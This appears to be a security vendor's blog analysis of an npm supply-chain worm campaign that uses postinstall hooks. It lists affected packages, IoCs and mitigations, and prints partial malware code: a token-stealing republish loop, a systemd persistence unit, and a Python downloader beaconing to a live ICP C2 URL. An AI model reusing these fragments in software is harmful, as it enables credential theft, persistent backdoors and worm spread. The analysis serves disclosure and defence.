A recently discovered campaign involving dozens of malicious npm packages is actively targeting developers, with many of the compromised packages still live on the registry. It relies on a hidden postinstall script to silently execute malicious code in the background immediately after installation, requiring no further user interaction or generating terminal warnings.
The malware causes significant damage by stealing sensitive authentication tokens and establishing a persistent backdoor. It scans the developer's system for npm credentials and uses them to act as a supply chain worm. By hijacking the victim's account, the malware automatically injects its code into other legitimate packages maintained by the developer and republishes them, rapidly expanding the attack's reach across the open-source ecosystem.
In addition to spreading through the software supply chain, the malware establishes long-term access on infected Linux machines by creating hidden background services. It also retrieves secondary payloads from a decentralized Internet Computer (ICP) blockchain infrastructure, a tactic designed to make the attackers' infrastructure highly resistant to traditional domain takedown efforts.
Affected Packages
Technical Analysis
Infection Chain
The infection process initiates during package installation. The malicious packages utilize a postinstall hook in their package.json file to automatically execute a local JavaScript file—typically index.js—immediately after the package contents are unpacked.
"scripts": {
"postinstall": "node index.js"
}
Execution occurs silently in the background without requiring user interaction or generating terminal warnings. Once triggered, index.js launches two parallel operations: harvesting sensitive credentials and establishing a persistent backdoor.
Malicious Behavior
The primary payload functions as both a credential harvester and a malware dropper. Initially, index.js searches for npm authentication tokens by scanning the user's home directory for .npmrc files, checking system-wide configurations in /etc/npmrc, and inspecting environment variables for keys like NPM_TOKEN or NPM_TOKENS.
Any harvested tokens are passed to a secondary script, scripts/deploy.js, which acts as a supply chain worm. Using the compromised credentials, the script queries the npm registry for other packages maintained by the victim. It then increments the patch version of these packages and republishes them, propagating the malicious logic across the victim's software portfolio.
async function run(token, pkgPath, fallbackVer) {
// ... logic to fetch owned packages ...
for (const name of owned) {
// ... logic to modify package.json and README ...
try {
execSync('npm publish --access public --tag latest', {
stdio: 'pipe',
env: { ...process.env, NPM_TOKEN: token }
});
} catch (_) {}
}
}
Concurrently, the initial JavaScript payload decodes an embedded Base64 string to extract a Python script. This script functions as a downloader, polling a remote URL for a secondary payload. Upon identifying a valid URL, it downloads the binary to /tmp/pglog, assigns executable permissions, and launches it in a new session.
Persistence
To maintain access on Linux systems, the malware creates a systemd user service. The index.js script writes a service unit file to the user's local configuration directory, specifically targeting ~/.config/systemd/user/pgmon.service.
fs.writeFileSync(unitFilePath, [
'[Unit]',
`Description=${SERVICE_NAME}`,
'After=default.target',
'',
'[Service]',
'Type=simple',
`ExecStart=/usr/bin/python3 ${scriptPath}`,
'Restart=always',
'RestartSec=5',
'',
'[Install]',
'WantedBy=default.target',
].join('\n'), { mode: 0o644 });
The malware then executes systemctl --user enable and systemctl --user start. This configuration ensures the Python downloader runs automatically upon user login and restarts if the process terminates. The chosen service name, pgmon, serves as a masquerading technique, likely intended to mimic a legitimate PostgreSQL monitoring utility.
Command and Control (C2) and Obfuscation
The packages rely primarily on Base64 encoding to obfuscate the secondary Python payload. Embedding the script as a continuous string within index.js is a standard technique used to evade static analysis tools scanning for known malicious Python signatures.
For Command and Control (C2), the infrastructure leverages the Internet Computer (ICP) blockchain to host payloads. The Python downloader beacons to a designated ICP endpoint to retrieve the URL for the next-stage binary:
C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
def g():
try:
req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=10) as r:
link = r.read().decode('utf-8').strip()
return link if link.startswith("http") else None
except:
return None
The use of the raw.icp0.io domain indicates an operational shift toward decentralized hosting. This approach increases the resilience of the distribution infrastructure, making it more resistant to traditional domain takedown requests.
Mitigation
Short-term: Detection and Response
To determine if your environment has been affected by this campaign, you must inspect your dependency trees, file systems, network logs, and npm accounts for specific indicators of compromise (IoCs) and behaviors.
1. Inspect Dependency Files Search your package.json and package-lock.json files for the presence of the identified malicious packages. Pay special attention to the following scopes and standalone packages:
- Standalone packages: jest-preset-ppf (0.0.2), babel-plugin-react-pure-component (0.1.6), eslint-config-service-users (0.0.3), opengov-k6-core (1.0.2), cit-playwright-tests (1.0.1), react-leaflet-marker-layer (0.1.5), react-leaflet-cluster-layer (0.0.4), eslint-config-ppf (0.128.2)
- Scoped packages: @leafnoise/mirage (2.0.3), @airtm/uuid-base32 (1.0.2), @teale.io/eslint-config (1.8.10, 1.8.13–1.8.15)
- Targeted organizational scopes: Various packages under the @opengov/ (e.g., form-renderer, form-builder) and @emilgroup/ scopes.
2. Check File Systems for Dropped Payloads and Persistence The malware establishes persistence and downloads secondary payloads to specific paths. Check affected Linux and macOS systems for the following files:
- Secondary Payload: Verify if the file /tmp/pglog exists.
- Systemd Persistence: Check for the presence of the service file at ~/.config/systemd/user/pgmon.service.
- Active Services: Run systemctl --user status pgmon to see if the malicious service is currently active.
3. Review Network and DNS Logs Search your firewall, DNS, and proxy logs for outbound connections to the Internet Computer (ICP) infrastructure used for Command and Control (C2):
- Domain: tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
- URL: https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/
4. Audit npm Accounts for Worm Activity Because the index.js payload harvests npm tokens from .npmrc, /etc/npmrc, and environment variables (NPM_TOKEN, NPM_TOKENS), you must assume any accessible tokens are compromised.
- Check your npm registry account for unauthorized package publishes. The scripts/deploy.js payload specifically increments the patch version of packages you maintain and republishes them.
Incident Response Actions: If you identify any of the above indicators:
- Revoke Credentials: Immediately revoke any npm tokens that were present on the affected machine.
- Halt and Remove Persistence: Stop and disable the malicious service by running systemctl --user stop pgmon and systemctl --user disable pgmon. Delete the ~/.config/systemd/user/pgmon.service and /tmp/pglog files.
- Clean Dependencies: Remove the malicious packages from your project and reinstall dependencies.
- Revert Unauthorized Releases: If the worm successfully republished your packages, unpublish the compromised versions via npm and publish a clean version to restore integrity for your users.
Long-term: Prevention Best Practices
To reduce future exposure to similar supply chain attacks, organizations and developers should implement the following preventative measures:
1. Disable Automatic Script Execution The infection chain relies entirely on the postinstall hook in the package.json file. You can prevent these scripts from executing silently in the background by configuring npm to ignore them globally:
- Run npm config set ignore-scripts true.
2. Implement Dependency Vetting and Lock Files
- Always use package-lock.json or npm-shrinkwrap.json to lock dependency versions and enforce integrity hashes. This ensures that the exact same code is downloaded across all environments.
- Before introducing a new dependency or updating an existing one, review the package contents. Pay specific attention to postinstall or preinstall scripts and obfuscated code (such as large Base64 strings).
- Enforce a cooldown period before adopting newly published packages or updated versions. Because many malicious packages are detected and taken down within hours of publication, delaying installation by even a short window significantly reduces the risk of consuming a compromised dependency before it is flagged and removed.
3. Adopt Principle of Least Privilege for Credentials
- Avoid storing highly privileged, long-lived npm tokens in persistent local files like ~/.npmrc or global environment variables.
- Use npm's granular access tokens, which allow you to restrict permissions (e.g., read-only vs. publish) and set expiration dates, limiting the blast radius if a token is harvested.
4. Utilize Supply Chain Security Tools
- Integrate Software Composition Analysis (SCA) tools into your CI/CD pipelines to continuously monitor and alert on known malicious packages or suspicious dependency updates.
- Employ runtime monitoring solutions capable of detecting anomalous behaviors, such as a Node.js process attempting to read SSH keys/.npmrc files, writing to ~/.config/systemd/user/, or making unexpected outbound network connections.
Detect and block malware



Indicators of Compromise (IoCs)
Conclusion
This campaign represents the continued maturation of a threat model first demonstrated by the "Shai Hulud" worm in 2025—the first known self-propagating supply chain worm targeting the npm ecosystem. While credential harvesting via postinstall hooks is a well-established tactic, Shai Hulud proved that stolen npm tokens could be immediately weaponized to infect and republish a victim’s own packages, turning a single compromise into an exponentially expanding attack. The campaign analyzed here follows the same playbook, confirming that worm-like self-propagation has become a recurring technique rather than an isolated incident.
Furthermore, the use of the Internet Computer (ICP) blockchain for payload distribution highlights a deliberate shift toward decentralized hosting infrastructure. Similar to prior abuse of IPFS or Telegram-based delivery channels, leveraging Web3 platforms reduces reliance on traditional, centrally controlled domains and complicates incident response. While not entirely immune to disruption (e.g., via gateway filtering or network-level controls), such architectures significantly weaken the effectiveness of conventional domain-based takedown strategies. As a result, defenders must increasingly rely on behavioral detection—such as identifying anomalous systemd service creation or suspicious registry publishing activity—rather than depending solely on static network indicators.
As threat actors continue to refine the approach pioneered by Shai Hulud, the open-source community must move beyond reactive dependency scanning. The success of these campaigns hinges entirely on implicit trust in lifecycle scripts and the use of overly permissive, long-lived access tokens. Ultimately, adopting zero-trust principles for local development—such as globally disabling postinstall scripts by default and enforcing granular, short-lived publishing tokens—will be essential to breaking the infection chain of future supply chain worms.
References
- https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
- https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
What's next?
When you're ready to take the next step in securing your software supply chain, here are 3 ways Endor Labs can help:









